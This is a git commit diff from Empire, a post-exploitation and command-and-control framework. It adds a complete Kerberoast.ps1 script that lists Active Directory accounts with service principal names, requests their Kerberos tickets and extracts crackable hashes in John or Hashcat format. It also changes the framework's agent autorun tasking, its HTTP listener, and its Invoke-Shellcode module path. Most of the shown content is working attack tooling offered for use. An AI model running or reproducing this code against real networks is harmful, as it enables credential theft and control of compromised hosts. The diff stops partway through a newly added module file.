Merge branch '2.0_beta' of https://github.com/adaptivethreat/Empire into 2.0_beta

mdns
xorrior 2016-11-13 15:24:47 -05:00
commit 42ec063d8a
19 changed files with 3986 additions and 2702 deletions

View File

@ -8,6 +8,8 @@ Empire relies heavily on the work from several other projects for its underlying
Empire is developed by [@harmj0y](https://twitter.com/harmj0y), [@sixdub](https://twitter.com/sixdub), [@enigma0x3](https://twitter.com/enigma0x3), [rvrsh3ll](https://twitter.com/424f424f), [@killswitch_gui](https://twitter.com/killswitch_gui), and [@xorrior](https://twitter.com/xorrior).
Feel free to join us on Slack! http://adaptiveempire.herokuapp.com/
## Contribution Rules
Contributions are more than welcome! The more people who contribute to the project the better Empire will be for everyone. Below are a few guidelines for submitting contributions.
@ -19,4 +21,4 @@ Contributions are more than welcome! The more people who contribute to the proje
* Use [approved PowerShell verbs](https://technet.microsoft.com/en-us/library/ms714428(v=vs.85).aspx) for any functions.
* PowerShell Version 2 compatibility is **STRONGLY** preferred.
* TEST YOUR MODULE! Be sure to run it from an Empire agent before submitting a pull to ensure everything is working correctly.
* For additional guidelines for your PowerShell code itself, check out the [PowerSploit style guide](https://github.com/PowerShellMafia/PowerSploit/blob/master/README.md).
* For additional guidelines for your PowerShell code itself, check out the [PowerSploit style guide](https://github.com/PowerShellMafia/PowerSploit/blob/master/README.md).

View File

@ -72,7 +72,7 @@ function Invoke-Empire {
$WorkingHours,
[String]
$Profile = '/admin/get.php,/news.php,/login/process.php|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko',
$Profile = "/admin/get.php,/news.php,/login/process.php|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko",
[Int32]
$LostLimit = 60,

View File

@ -0,0 +1,802 @@
<#
Kerberoast.ps1
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: None
Note: the primary method of use will be Invoke-Kerberoast with
various targeting options.
#>
function Get-DomainSearcher {
<#
.SYNOPSIS
Helper used by various functions that builds a custom AD searcher object.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-NetDomain
.DESCRIPTION
Takes a given domain and a number of customizations and returns a
System.DirectoryServices.DirectorySearcher object. This function is used
heavily by other LDAP/ADSI search function.
.PARAMETER Domain
Specifies the domain to use for the query, defaults to the current domain.
.PARAMETER LDAPFilter
Specifies an LDAP query string that is used to filter Active Directory objects.
.PARAMETER Properties
Specifies the properties of the output object to retrieve from the server.
.PARAMETER SearchBase
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
Useful for OU queries.
.PARAMETER SearchBasePrefix
Specifies a prefix for the LDAP search string (i.e. "CN=Sites,CN=Configuration").
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to for the search.
.PARAMETER SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER SecurityMasks
Specifies an option for examining security information of a directory object.
One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.EXAMPLE
Get-DomainSearcher -Domain testlab.local
Return a searcher for all objects in testlab.local.
.EXAMPLE
Get-DomainSearcher -Domain testlab.local -LDAPFilter '(samAccountType=805306368)' -Properties 'SamAccountName,lastlogon'
Return a searcher for user objects in testlab.local and only return the SamAccountName and LastLogon properties.
.EXAMPLE
Get-DomainSearcher -SearchBase "LDAP://OU=secret,DC=testlab,DC=local"
Return a searcher that searches through the specific ADS/LDAP search base (i.e. OU).
.OUTPUTS
System.DirectoryServices.DirectorySearcher
#>
[OutputType('System.DirectoryServices.DirectorySearcher')]
[CmdletBinding()]
Param(
[Parameter(ValueFromPipeline = $True)]
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Alias('Filter')]
[String]
$LDAPFilter,
[ValidateNotNullOrEmpty()]
[String[]]
$Properties,
[ValidateNotNullOrEmpty()]
[String]
$SearchBase,
[ValidateNotNullOrEmpty()]
[String]
$SearchBasePrefix,
[ValidateNotNullOrEmpty()]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1,10000)]
[Int]
$ResultPageSize = 200,
[ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')]
[String]
$SecurityMasks,
[Switch]
$Tombstone,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
PROCESS {
if ($Domain) {
$TargetDomain = $Domain
}
else {
$TargetDomain = (Get-NetDomain).name
}
if ($Credential -eq [Management.Automation.PSCredential]::Empty) {
if (-not $Server) {
try {
# if there's no -Server specified, try to pull the primary DC to bind to
$BindServer = ((Get-NetDomain).PdcRoleOwner).Name
}
catch {
throw 'Get-DomainSearcher: Error in retrieving PDC for current domain'
}
}
}
elseif (-not $Server) {
try {
$BindServer = ((Get-NetDomain -Credential $Credential).PdcRoleOwner).Name
}
catch {
throw 'Get-DomainSearcher: Error in retrieving PDC for current domain'
}
}
$SearchString = 'LDAP://'
if ($BindServer) {
$SearchString += $BindServer
if ($TargetDomain) {
$SearchString += '/'
}
}
if ($SearchBasePrefix) {
$SearchString += $SearchBasePrefix + ','
}
if ($SearchBase) {
if ($SearchBase -Match '^GC://') {
# if we're searching the global catalog, get the path in the right format
$DN = $SearchBase.ToUpper().Trim('/')
$SearchString = ''
}
else {
if ($SearchBase -match '^LDAP://') {
if ($SearchBase -match "LDAP://.+/.+") {
$SearchString = ''
}
else {
$DN = $SearchBase.Substring(7)
}
}
else {
$DN = $SearchBase
}
}
}
else {
if ($TargetDomain -and ($TargetDomain.Trim() -ne '')) {
$DN = "DC=$($TargetDomain.Replace('.', ',DC='))"
}
}
$SearchString += $DN
Write-Verbose "Get-DomainSearcher search string: $SearchString"
if ($Credential -ne [Management.Automation.PSCredential]::Empty) {
Write-Verbose "Using alternate credentials for LDAP connection"
$DomainObject = New-Object DirectoryServices.DirectoryEntry($SearchString, $Credential.UserName, $Credential.GetNetworkCredential().Password)
$Searcher = New-Object System.DirectoryServices.DirectorySearcher($DomainObject)
}
else {
$Searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$SearchString)
}
$Searcher.PageSize = $ResultPageSize
$Searcher.SearchScope = $SearchScope
$Searcher.CacheResults = $False
if ($Tombstone) {
$Searcher.Tombstone = $True
}
if ($LDAPFilter) {
$Searcher.filter = $LDAPFilter
}
if ($SecurityMasks) {
$Searcher.SecurityMasks = Switch ($SecurityMasks) {
'Dacl' { [System.DirectoryServices.SecurityMasks]::Dacl }
'Group' { [System.DirectoryServices.SecurityMasks]::Group }
'None' { [System.DirectoryServices.SecurityMasks]::None }
'Owner' { [System.DirectoryServices.SecurityMasks]::Owner }
'Sacl' { [System.DirectoryServices.SecurityMasks]::Sacl }
}
}
if ($Properties) {
# handle an array of properties to load w/ the possibility of comma-separated strings
$PropertiesToLoad = $Properties| ForEach-Object { $_.Split(',') }
$Searcher.PropertiesToLoad.AddRange(($PropertiesToLoad))
}
$Searcher
}
}
function Convert-LDAPProperty {
<#
.SYNOPSIS
Helper that converts specific LDAP property result fields and outputs
a custom psobject.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: None
.DESCRIPTION
Converts a set of raw LDAP properties results from ADSI/LDAP searches
into a proper PSObject. Used by several of the Get-Net* function.
.PARAMETER Properties
Properties object to extract out LDAP fields for display.
.OUTPUTS
System.Management.Automation.PSCustomObject
A custom PSObject with LDAP hashtable properties translated.
#>
[OutputType('System.Management.Automation.PSCustomObject')]
[CmdletBinding()]
Param(
[Parameter(Mandatory = $True, ValueFromPipeline = $True)]
[ValidateNotNullOrEmpty()]
$Properties
)
$ObjectProperties = @{}
$Properties.PropertyNames | ForEach-Object {
if (($_ -eq 'objectsid') -or ($_ -eq 'sidhistory')) {
# convert the SID to a string
$ObjectProperties[$_] = (New-Object System.Security.Principal.SecurityIdentifier($Properties[$_][0], 0)).Value
}
elseif ($_ -eq 'objectguid') {
# convert the GUID to a string
$ObjectProperties[$_] = (New-Object Guid (,$Properties[$_][0])).Guid
}
elseif ($_ -eq 'ntsecuritydescriptor') {
$ObjectProperties[$_] = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $Properties[$_][0], 0
}
elseif ( ($_ -eq 'lastlogon') -or ($_ -eq 'lastlogontimestamp') -or ($_ -eq 'pwdlastset') -or ($_ -eq 'lastlogoff') -or ($_ -eq 'badPasswordTime') ) {
# convert timestamps
if ($Properties[$_][0] -is [System.MarshalByRefObject]) {
# if we have a System.__ComObject
$Temp = $Properties[$_][0]
[Int32]$High = $Temp.GetType().InvokeMember('HighPart', [System.Reflection.BindingFlags]::GetProperty, $null, $Temp, $null)
[Int32]$Low = $Temp.GetType().InvokeMember('LowPart', [System.Reflection.BindingFlags]::GetProperty, $null, $Temp, $null)
$ObjectProperties[$_] = ([datetime]::FromFileTime([Int64]("0x{0:x8}{1:x8}" -f $High, $Low)))
}
else {
# otherwise just a string
$ObjectProperties[$_] = ([datetime]::FromFileTime(($Properties[$_][0])))
}
}
elseif ($Properties[$_][0] -is [System.MarshalByRefObject]) {
# try to convert misc com objects
$Prop = $Properties[$_]
try {
$Temp = $Prop[$_][0]
Write-Verbose $_
[Int32]$High = $Temp.GetType().InvokeMember('HighPart', [System.Reflection.BindingFlags]::GetProperty, $null, $Temp, $null)
[Int32]$Low = $Temp.GetType().InvokeMember('LowPart', [System.Reflection.BindingFlags]::GetProperty, $null, $Temp, $null)
$ObjectProperties[$_] = [Int64]("0x{0:x8}{1:x8}" -f $High, $Low)
}
catch {
$ObjectProperties[$_] = $Prop[$_]
}
}
elseif ($Properties[$_].count -eq 1) {
$ObjectProperties[$_] = $Properties[$_][0]
}
else {
$ObjectProperties[$_] = $Properties[$_]
}
}
New-Object -TypeName PSObject -Property $ObjectProperties
}
function Get-NetDomain {
<#
.SYNOPSIS
Returns a given domain object.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: None
.DESCRIPTION
Returns a System.DirectoryServices.ActiveDirectory.Domain object for the current
domain or the domain specified with -Domain X.
.PARAMETER Domain
Specifies the domain name to query for, defaults to the current domain.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.EXAMPLE
Get-NetDomain -Domain testlab.local
.OUTPUTS
System.DirectoryServices.ActiveDirectory.Domain
.LINK
http://social.technet.microsoft.com/Forums/scriptcenter/en-US/0c5b3f83-e528-4d49-92a4-dee31f4b481c/finding-the-dn-of-the-the-domain-without-admodule-in-powershell?forum=ITCG
#>
[OutputType('System.DirectoryServices.ActiveDirectory.Domain')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True)]
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
PROCESS {
if ($Credential -ne [Management.Automation.PSCredential]::Empty) {
Write-Verbose "Using alternate credentials for Get-NetDomain"
if (-not $Domain) {
# if no domain is supplied, extract the logon domain from the PSCredential passed
$TargetDomain = $Credential.GetNetworkCredential().Domain
Write-Verbose "Extracted domain '$Domain' from -Credential"
}
else {
$TargetDomain = $Domain
}
$DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $TargetDomain, $Credential.UserName, $Credential.GetNetworkCredential().Password)
try {
[System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext)
}
catch {
Write-Verbose "The specified domain does '$TargetDomain' not exist, could not be contacted, there isn't an existing trust, or the specified credentials are invalid."
$Null
}
}
elseif ($Domain) {
$DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $Domain)
try {
[System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext)
}
catch {
Write-Verbose "The specified domain '$Domain' does not exist, could not be contacted, or there isn't an existing trust."
$Null
}
}
else {
[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
}
}
}
function Get-SPNTicket {
<#
.SYNOPSIS
Request the kerberos ticket for a specified service principal name (SPN).
Author: @machosec, Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: None
.DESCRIPTION
This function will either take one/more SPN strings, or one/more PowerView.User objects
(the output from Get-NetUser) and will request a kerberos ticket for the given SPN
using System.IdentityModel.Tokens.KerberosRequestorSecurityToken. The encrypted
portion of the ticket is then extracted and output in either crackable John or Hashcat
format (deafult of John).
.PARAMETER SPN
Specifies the service principal name to request the ticket for.
.PARAMETER User
Specifies a PowerView.User object (result of Get-NetUser) to request the ticket for.
.PARAMETER OutputFormat
Either 'John' for John the Ripper style hash formatting, or 'Hashcat' for Hashcat format.
Defaults to 'John'.
.EXAMPLE
Get-SPNTicket -SPN "HTTP/web.testlab.local"
Request a kerberos service ticket for the specified SPN.
.EXAMPLE
"HTTP/web1.testlab.local","HTTP/web2.testlab.local" | Get-SPNTicket
Request kerberos service tickets for all SPNs passed on the pipeline.
.EXAMPLE
Get-NetUser -SPN | Get-SPNTicket -OutputFormat Hashcat
Request kerberos service tickets for all users with non-null SPNs and output in Hashcat format.
.INPUTS
String
Accepts one or more SPN strings on the pipeline with the RawSPN parameter set.
.INPUTS
PowerView.User
Accepts one or more PowerView.User objects on the pipeline with the User parameter set.
.OUTPUTS
PowerView.SPNTicket
Outputs a custom object containing the SamAccountName, DistinguishedName, ServicePrincipalName, and encrypted ticket section.
#>
[OutputType('PowerView.SPNTicket')]
[CmdletBinding(DefaultParameterSetName='RawSPN')]
Param (
[Parameter(Position = 0, ParameterSetName = 'RawSPN', Mandatory = $True, ValueFromPipeline = $True)]
[ValidatePattern('.*/.*')]
[Alias('ServicePrincipalName')]
[String[]]
$SPN,
[Parameter(Position = 0, ParameterSetName = 'User', Mandatory = $True, ValueFromPipeline = $True)]
[ValidateScript({ $_.PSObject.TypeNames[0] -eq 'PowerView.User' })]
[Object[]]
$User,
[Parameter(Position = 1)]
[ValidateSet('John', 'Hashcat')]
[Alias('Format')]
[String]
$OutputFormat = 'John'
)
BEGIN {
$Null = [Reflection.Assembly]::LoadWithPartialName('System.IdentityModel')
}
PROCESS {
if ($PSBoundParameters['User']) {
$TargetObject = $User
}
else {
$TargetObject = $SPN
}
ForEach ($Object in $TargetObject) {
if ($PSBoundParameters['User']) {
$UserSPN = $Object.ServicePrincipalName
$SamAccountName = $Object.SamAccountName
$DistinguishedName = $Object.DistinguishedName
}
else {
$UserSPN = $Object
$SamAccountName = $Null
$DistinguishedName = $Null
}
$Ticket = New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $UserSPN
$TicketByteStream = $Ticket.GetRequest()
if ($TicketByteStream) {
$TicketHexStream = [System.BitConverter]::ToString($TicketByteStream) -replace '-'
[System.Collections.ArrayList]$Parts = ($TicketHexStream -replace '^(.*?)04820...(.*)','$2') -Split 'A48201'
$Parts.RemoveAt($Parts.Count - 1)
$Hash = $Parts -join 'A48201'
$Hash = $Hash.Insert(32, '$')
$Out = New-Object PSObject
$Out | Add-Member Noteproperty 'SamAccountName' $SamAccountName
$Out | Add-Member Noteproperty 'DistinguishedName' $DistinguishedName
$Out | Add-Member Noteproperty 'ServicePrincipalName' $Ticket.ServicePrincipalName
if ($OutputFormat -match 'John') {
$HashFormat = "`$krb5tgs`$unknown:$Hash"
}
else {
# hashcat output format
$HashFormat = '$krb5tgs$23$*ID#124_DISTINGUISHED NAME: CN=fakesvc,OU=Service,OU=Accounts,OU=EnterpriseObjects,DC=proddfs,DC=pf,DC=fakedomain,DC=com SPN: E3514235-4B06-11D1-AB04-00C04FC2DCD2-ADAM/NAKCRA04.proddfs.pf.fakedomain.com:50000 *' + $Hash
}
$Out | Add-Member Noteproperty 'Hash' $HashFormat
$Out.PSObject.TypeNames.Insert(0, 'PowerView.SPNTicket')
Write-Output $Out
break
}
}
}
}
function Invoke-Kerberoast {
<#
.SYNOPSIS
Requests service tickets for kerberoast-able accounts and returns extracted ticket hashes.
Author: Will Schroeder (@harmj0y), @machosec
License: BSD 3-Clause
Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty
.DESCRIPTION
Implements code from Get-NetUser to quyery for user accounts with non-null service principle
names (SPNs) and uses Get-SPNTicket to request/extract the crackable ticket information.
The ticket format can be specified with -OutputFormat <John/Hashcat>
.PARAMETER Identity
A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local),
SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201).
Wildcards accepted. By default all accounts will be queried for non-null SPNs.
.PARAMETER AdminCount
Switch. Return users with adminCount=1.
.PARAMETER Domain
Specifies the domain to use for the query, defaults to the current domain.
.PARAMETER LDAPFilter
Specifies an LDAP query string that is used to filter Active Directory objects.
.PARAMETER SearchBase
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
Useful for OU queries.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.PARAMETER OutputFormat
Either 'John' for John the Ripper style hash formatting, or 'Hashcat' for Hashcat format.
Defaults to 'John'.
.EXAMPLE
Invoke-Kerberoast | fl
SamAccountName : SQLService
DistinguishedName : CN=SQLService,CN=Users,DC=testlab,DC=local
ServicePrincipalName : MSSQLSvc/PRIMARY.testlab.local:1433
Hash : $krb5tgs$unknown:30FFC786BECD0E88992CBBB017155C53$0343A9C8...
.EXAMPLE
Invoke-Kerberoast -Domain dev.testlab.local | ConvertTo-CSV -NoTypeInformation
"SamAccountName","DistinguishedName","ServicePrincipalName","Hash"
"SQLSVC","CN=SQLSVC,CN=Users,DC=dev,DC=testlab,DC=local","MSSQLSvc/secondary.dev.testlab.local:1433","$krb5tgs$unknown:ECF4BDD1037D1D9E2E091ABBDC92F00E$0F3A4...
.EXAMPLE
Invoke-Kerberoast -AdminCount -OutputFormat Hashcat | fl
SamAccountName : SQLService
DistinguishedName : CN=SQLService,CN=Users,DC=testlab,DC=local
ServicePrincipalName : MSSQLSvc/PRIMARY.testlab.local:1433
Hash : $krb5tgs$23$*ID#124_DISTINGUISHED NAME: CN=fakesvc,OU=Se
rvice,OU=Accounts,OU=EnterpriseObjects,DC=proddfs,DC=pf,
DC=fakedomain,DC=com SPN: E3514235-4B06-11D1-AB04-00C04F
C2DCD2-ADAM/NAKCRA04.proddfs.pf.fakedomain.com:50000 *30
FFC786BECD0E88992CBBB017155C53$0343A9C8A7EB90F059CD92B52
....
.INPUTS
String
Accepts one or more SPN strings on the pipeline with the RawSPN parameter set.
.OUTPUTS
PowerView.SPNTicket
Outputs a custom object containing the SamAccountName, DistinguishedName, ServicePrincipalName, and encrypted ticket section.
#>
[OutputType('PowerView.SPNTicket')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('SamAccountName', 'Name')]
[String[]]
$Identity,
[Switch]
$AdminCount,
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Alias('Filter')]
[String]
$LDAPFilter,
[ValidateNotNullOrEmpty()]
[String]
$SearchBase,
[ValidateNotNullOrEmpty()]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1,10000)]
[Int]
$ResultPageSize = 200,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty,
[ValidateSet('John', 'Hashcat')]
[Alias('Format')]
[String]
$OutputFormat = 'John'
)
BEGIN {
$SearcherArguments = @{}
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
$UserSearcher = Get-DomainSearcher @SearcherArguments
$GetSPNTicketArguments = @{}
if ($PSBoundParameters['OutputFormat']) { $GetSPNTicketArguments['OutputFormat'] = $OutputFormat }
}
PROCESS {
if ($UserSearcher) {
$IdentityFilter = ''
$Filter = ''
$Identity | Where-Object {$_} | ForEach-Object {
$IdentityInstance = $_
if ($IdentityInstance -match '^S-1-.*') {
$IdentityFilter += "(objectsid=$IdentityInstance)"
}
elseif ($IdentityInstance -match '^CN=.*') {
$IdentityFilter += "(distinguishedname=$IdentityInstance)"
}
else {
try {
$Null = [System.Guid]::Parse($IdentityInstance)
$IdentityFilter += "(objectguid=$IdentityInstance)"
}
catch {
$IdentityFilter += "(samAccountName=$IdentityInstance)"
}
}
}
if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) {
$Filter += "(|$IdentityFilter)"
}
$Filter += '(servicePrincipalName=*)'
if ($PSBoundParameters['AdminCount']) {
Write-Verbose 'Searching for adminCount=1'
$Filter += '(admincount=1)'
}
if ($PSBoundParameters['LDAPFilter']) {
Write-Verbose "Using additional LDAP filter: $LDAPFilter"
$Filter += "$LDAPFilter"
}
$UserSearcher.filter = "(&(samAccountType=805306368)$Filter)"
Write-Verbose "Invoke-Kerberoast search filter string: $($UserSearcher.filter)"
$Results = $UserSearcher.FindAll()
$Results | Where-Object {$_} | ForEach-Object {
$User = Convert-LDAPProperty -Properties $_.Properties
$User.PSObject.TypeNames.Insert(0, 'PowerView.User')
$User
} | Where-Object {$_.SamAccountName -notmatch 'krbtgt'} | Get-SPNTicket @GetSPNTicketArguments
$Results.dispose()
$UserSearcher.dispose()
}
}
}

File diff suppressed because one or more lines are too long

View File

@ -1300,10 +1300,10 @@ class Agents:
output += "\n[+] Agent %s now active:\n" % (sessionID)
self.mainMenu.agents.save_agent_log(sessionID, output)
# # TODO: if a script autorun is set, set that as the agent's first tasking
# autorun = self.get_autoruns()
# if autorun and autorun[0] != '' and autorun[1] != '':
# self.add_agent_task_db(sessionID, autorun[0], autorun[1])
# if a script autorun is set, set that as the agent's first tasking
autorun = self.get_autoruns_db()
if autorun and autorun[0] != '' and autorun[1] != '':
self.add_agent_task_db(sessionID, autorun[0], autorun[1])
return "STAGE2: %s" % (sessionID)
@ -1522,9 +1522,9 @@ class Agents:
self.mainMenu.agents.update_agent_sysinfo_db(sessionID, listener=listener, internal_ip=internal_ip, username=username, hostname=hostname, os_details=os_details, high_integrity=high_integrity, process_name=process_name, process_id=process_id, language_version=language_version, language=language)
sysinfo = '{0: <18}'.format("Listener:") + listener + "\n"
sysinfo += '{0: <18}'.format("Internal IP:") + internal_ip + "\n"
sysinfo += '{0: <16}'.format("Internal IP:") + internal_ip + "\n"
sysinfo += '{0: <18}'.format("Username:") + username + "\n"
sysinfo += '{0: <18}'.format("Hostname:") + hostname + "\n"
sysinfo += '{0: <16}'.format("Hostname:") + hostname + "\n"
sysinfo += '{0: <18}'.format("OS:") + os_details + "\n"
sysinfo += '{0: <18}'.format("High Integrity:") + str(high_integrity) + "\n"
sysinfo += '{0: <18}'.format("Process Name:") + process_name + "\n"

View File

@ -912,7 +912,7 @@ class AgentsMenu(cmd.Cmd):
if name.lower() == 'all':
self.mainMenu.agents.clear_agent_tasks_db('all')
elif name.lower() == 'autorun':
self.mainMenu.agents.clear_autoruns()
self.mainMenu.agents.clear_autoruns_db()
else:
# extract the sessionID and clear the agent tasking
sessionID = self.mainMenu.agents.get_agent_id_db(name)
@ -1709,7 +1709,7 @@ class PowerShellAgentMenu(cmd.Cmd):
functions = helpers.parse_powershell_script(script_data)
# set this agent's tab-completable functions
self.mainMenu.agents.set_agent_functions(self.sessionID, functions)
self.mainMenu.agents.set_agent_functions_db(self.sessionID, functions)
else:
print helpers.color("[!] Please enter a valid script path")
@ -3223,7 +3223,7 @@ class ModuleMenu(cmd.Cmd):
# set the script to be the global autorun
elif agentName.lower() == "autorun":
self.mainMenu.agents.set_autoruns(taskCommand, moduleData)
self.mainMenu.agents.set_autoruns_db(taskCommand, moduleData)
dispatcher.send("[*] Set module %s to be global script autorun." % (self.moduleName), sender="Empire")
else:

View File

@ -78,47 +78,39 @@ class Listeners:
# parse and auto-set some host parameters
if option == 'Host':
if not value.startswith('http'):
parts = value.split(':')
# if there's a current ssl cert path set, assume this is https
if ('CertPath' in listenerObject.options) and (listenerObject.options['CertPath']['Value'] != ''):
listenerObject.options['Host']['Value'] = "https://%s" % (value)
protocol = 'https'
defaultPort = 443
else:
listenerObject.options['Host']['Value'] = value
parts = value.split(":")
if len(parts) == 2:
listenerObject.options['Port']['Value'] = parts[1]
listenerObject.options['Host']['Value'] = "http://%s" % (value)
# if there's a port specified, set that as well
protocol = 'http'
defaultPort = 80
elif value.startswith('https'):
listenerObject.options['Host']['Value'] = value
parts = value.split(":")
# check if we have a port to extract
if len(parts) == 3:
# in case there's a resource uri at the end
parts = parts[2].split('/')
listenerObject.options['Port']['Value'] = parts[0]
#else:
#listenerObject.options['Port']['Value'] = '443'
value = value.split('//')[1]
parts = value.split(':')
protocol = 'https'
defaultPort = 443
elif value.startswith('http'):
listenerObject.options['Host']['Value'] = value
parts = value.split(":")
# check if we have a port to extract
if len(parts) == 3:
# in case there's a resource uri at the end
parts = parts[2].split("/")
listenerObject.options['Port']['Value'] = parts[0]
#else:
#listenerObject.options['Port']['Value'] = '80'
# if host does not start with http(s), set port as well
value = value.split('//')[1]
parts = value.split(':')
protocol = 'http'
defaultPort = 80
if len(parts) != 1 and parts[-1].isdigit():
# if a port is specified with http://host:port
listenerObject.options['Host']['Value'] = "%s://%s" % (protocol, value)
listenerObject.options['Port']['Value'] = parts[-1]
elif listenerObject.options['Port']['Value'] != '':
# otherwise, check if the port value was manually set
listenerObject.options['Host']['Value'] = "%s://%s:%s" % (protocol, value, listenerObject.options['Port']['Value'])
else:
# otherwise use default port
listenerObject.options['Host']['Value'] = "%s://%s" % (protocol, value)
listenerObject.options['Port']['Value'] = defaultPort
return True

View File

@ -673,6 +673,7 @@ def send_message(packets=None):
# see if we can extract the 'routing packet' from the specified cookie location
# NOTE: this can be easily moved to a paramter, another cookie value, etc.
if 'session' in cookie:
dispatcher.send("[*] GET cookie value from %s : %s" % (clientIP, cookie), sender='listeners/http')
cookieParts = cookie.split(';')
for part in cookieParts:
if part.startswith('session'):
@ -731,10 +732,12 @@ def send_message(packets=None):
stagingKey = listenerOptions['StagingKey']['Value']
clientIP = request.remote_addr
requestData = request.get_data()
dispatcher.send("[*] POST request data length from %s : %s" % (clientIP, len(requestData)), sender='listeners/http')
# the routing packet should be at the front of the binary request.data
# NOTE: this can also go into a cookie/etc.
dataResults = self.mainMenu.agents.handle_agent_data(stagingKey, request.get_data(), listenerOptions, clientIP)
dataResults = self.mainMenu.agents.handle_agent_data(stagingKey, requestData, listenerOptions, clientIP)
if dataResults and len(dataResults) > 0:
for (language, results) in dataResults:
if results:

View File

@ -90,7 +90,7 @@ class Module:
def generate(self):
# read in the common module source code
moduleSource = self.mainMenu.stagers.installPath + "/data/module_source/code_execution/Invoke-Shellcode.ps1"
moduleSource = self.mainMenu.installPath + "/data/module_source/code_execution/Invoke-Shellcode.ps1"
try:
f = open(moduleSource, 'r')

View File

@ -1,84 +0,0 @@
from lib.common import helpers
class Module:
def __init__(self, mainMenu, params=[]):
self.info = {
'Name': 'Get-SPNTickets',
'Author': ['@harmj0y'],
'Description': ('Requests kerberos tickets for all users with a non-null service principal name (SPN) and extracts them into a format ready for John.'),
'Background' : True,
'OutputExtension' : None,
'NeedsAdmin' : False,
'OpsecSafe' : True,
'Language' : 'powershell',
'MinLanguageVersion' : '2',
'Comments': [
'https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/'
]
}
# any options needed by the module, settable during runtime
self.options = {
# format:
# value_name : {description, required, default_value}
'Agent' : {
'Description' : 'Agent to run module on.',
'Required' : True,
'Value' : ''
},
'Username' : {
'Description' : 'Specific username to request a ticket for.',
'Required' : False,
'Value' : ''
}
}
# save off a copy of the mainMenu object to access external functionality
# like listeners/agent handlers/etc.
self.mainMenu = mainMenu
for param in params:
# parameter format is [Name, Value]
option, value = param
if option in self.options:
self.options[option]['Value'] = value
def generate(self):
moduleName = self.info["Name"]
userName = self.options['Username']['Value']
# read in the common powerview.ps1 module source code
moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/powerview.ps1"
try:
f = open(moduleSource, 'r')
except:
print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
return ""
moduleCode = f.read()
f.close()
# get just the code needed for the specified function
script = helpers.generate_dynamic_powershell_script(moduleCode, ["Get-NetUser", "Request-SPNTicket"])
if userName.strip() != '':
script += " Get-NetUser '%s' |" % (userName)
else:
script += ' Get-NetUser |'
script += 'Request-SPNTicket -EncPart | fl | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
return script

View File

@ -0,0 +1,125 @@
from lib.common import helpers
class Module:
def __init__(self, mainMenu, params=[]):
self.info = {
